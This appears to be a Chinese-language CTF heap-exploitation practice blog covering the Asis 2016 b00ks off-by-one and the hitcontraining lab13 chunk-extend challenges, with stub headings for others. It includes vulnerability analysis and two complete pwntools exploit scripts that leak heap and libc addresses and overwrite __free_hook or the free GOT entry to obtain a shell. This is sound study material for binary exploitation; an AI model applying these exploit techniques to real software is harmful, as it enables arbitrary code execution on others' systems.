heap_practice

heap_practice

off_by_one

Asis_2016_b00ks

checksec

64位,除了canary其他保护全开

ida

main函数

是一个menu

create函数


上图是创建一个book的过程分析可得有三个chunk和一个struct,三个chunk分别是book_name,description,book_ctrl。struct是书的结构包含book_id,name_ptr,descrption_ptr,description_size

1
2
3
4
5
6
7
struct book
{
int book_id;
char* name_ptr;
char* description_ptr;
int description_size;
}


三个chunk的结构如下

delete函数

主要是free三个chunk

漏洞


程序自己实现了一个read函数,但是其中存在off_by_one漏洞
函数中

1
*ptr = 0;

会将最后一个’\x0a’替换为’\x00’

可以看到author_name指向bss段的0x20长度的位置,偏移为0x2020400x20205F。紧接着是book_order_arry指向的是0x2020600x2020FF储存的是book的指针。


当i == number时,\x00会放在0x202060,那么book_order_arry写入book的指针时会将\x00覆写,此时执行show函数时会将book_ptr输出。

程序提供了设置author_name的函数这样可以利用off_by_null将\x00覆盖到book_order_arry的指针的低字节,即从0x0000555555603710到0x0000555555603700,

思路

创建 2 个 book,通过off_by_one,使得 book1_ctrl 指针指向 book1_description 中;然后在book1_description 中伪造一个 fake_book1_ctrl,使得其中的 book1_description_ptr 指向 book2_description_ptr;通过先后修改 book1_description 和 book2_description,从而实现任意地址写任意内容的功能。book2 的 description 的大小越大越好 ,这样会通过 mmap () 函数去分配堆空间,而该堆地址与 libc 的基址相关,这样通过泄露该堆地址可以计算出 libc 的基址。

利用

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')

io = process('./b00ks')
elf = ELF('./b00ks')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def createbook(name_size,name,des_size,des):
io.readuntil(b"> ")
io.sendline(b"1")
io.readuntil(b": ")
io.sendline(str(name_size))
io.readuntil(b": ")
io.sendline(name)
io.readuntil(b": ")
io.sendline(str(des_size))
io.readuntil(b": ")
io.sendline(des)

def printbook(id):
io.readuntil(b"> ")
io.sendline(b"4")
io.readuntil(b": ")
for i in range(id):
book_id=int(io.readline()[:-1])
io.readuntil(b": ")
book_name=io.readline()[:-1]
io.readuntil(b": ")
book_des=io.readline()[:-1]
io.readuntil(b": ")
book_author=io.readline()[:-1]
return book_id,book_name,book_des,book_author

def createname(name):
io.readuntil(b"name: ")
io.sendline(name)

def changename(name):
io.readuntil(b"> ")
io.sendline(b"5")
io.readuntil(b": ")
io.sendline(name)

def editbook(book_id,new_des):
io.readuntil(b"> ")
io.sendline(b"3")
io.readuntil(b": ")
io.writeline(str(book_id))
io.readuntil(b": ")
io.sendline(new_des)

def deletebook(book_id):
io.readuntil(b"> ")
io.sendline(b"2")
io.readuntil(b": ")
io.sendline(str(book_id))

createname(b"A"*32)
createbook(32,b"a",140,b"a")
createbook(0x21000,b"a",0x21000,b"b")

book_id_1,book_name,book_des,book_author=printbook(1)
book1_addr=u64(book_author[32:32+6].ljust(8,b'\x00'))
log.success("book1_address:"+hex(book1_addr))

payload = b'a'*0x10 + p64(1) + p64(book1_addr+0x38) + p64(book1_addr+0x40) + p64(0xffff)
editbook(book_id_1,payload)
changename(b"A"*32)
book_id_1,book_name,book_des,book_author=printbook(1)
book2_name_addr=u64(book_name.ljust(8,b"\x00"))
book2_des_addr=u64(book_des.ljust(8,b"\x00"))
log.success("book2 name addr:"+hex(book2_name_addr))
log.success("book2 des addr:"+hex(book2_des_addr))
libc_base=book2_des_addr-0x22010
log.success("libc base:"+hex(libc_base))

free_hook=libc_base+libc.symbols["__free_hook"]
one_gadget=libc_base+0x4f322
log.success("free_hook:"+hex(free_hook))
log.success("one_gadget:"+hex(one_gadget))
editbook(1,p64(free_hook)*2)
editbook(2,p64(one_gadget))
#gdb.attach(io)
deletebook(2)
io.interactive()

2015_plaidctf_datastore

checksec


64位程序,保护全开

chunk-extend-shrink

hitcontraning_lab13

checksec


64位操作系统,开启了canary和nx

ida

自定义的堆分配器,每个堆主要有两个成员:大小与内容指针

edit


在这个函数中对content重写时size + 1这里存在off_by_one漏洞

动调


结构如上

利用edit的off_by_one漏洞可以对next_chunk进行修改,达到heaparry和heap指针的互换

修改前

修改后

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

context(arch = 'amd64', os = 'linux', log_level = 'debug')

io = process('./heapcreator')
elf = ELF('./heapcreator')
libc = ELF('./libc.so.6')

def create(size, content):
io.recvuntil(b':')
io.sendline(b'1')
io.recvuntil(b':')
io.sendline(str(size).encode())
io.recvuntil(b':')
io.sendline(content)

def edit(index, content):
io.recvuntil(b':')
io.sendline(b'2')
io.recvuntil(b':')
io.sendline(str(index).encode())
io.recvuntil(b':')
io.sendline(content)

def show(index):
io.recvuntil(b':')
io.sendline(b'3')
io.recvuntil(b':')
io.sendline(str(index).encode())

def delete(index):
io.recvuntil(b':')
io.sendline(b'4')
io.recvuntil(b':')
io.sendline(str(index).encode())

free_got = elf.got['free']
create(0x18, b'aaaa')
create(0x10, b'bbbb')
edit(0, b'/bin/sh\x00' + b'a' * 0x10 + b'\x41')
# gdb.attach(io)
delete(1)
create(0x30, p64(0) * 4 + p64(0x30) + p64(free_got))
# gdb.attach(io)
show(1)
io.recvuntil(b'Content : ')
data = io.recvuntil(b'Done !')
free_addr = u64(data.split(b'\n')[0].ljust(8, b'\x00'))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
edit(1, p64(system_addr))
delete(0)
io.interactive()

fastbin_attack

2014 hack.lu oreo

checksec

32位程序,开启了Canary和NX保护

ida

步枪的基本结构如下

2015 9447 CTF : Search Engine

checksec

64位程序,除了PIE其他保护全开

ida + gdb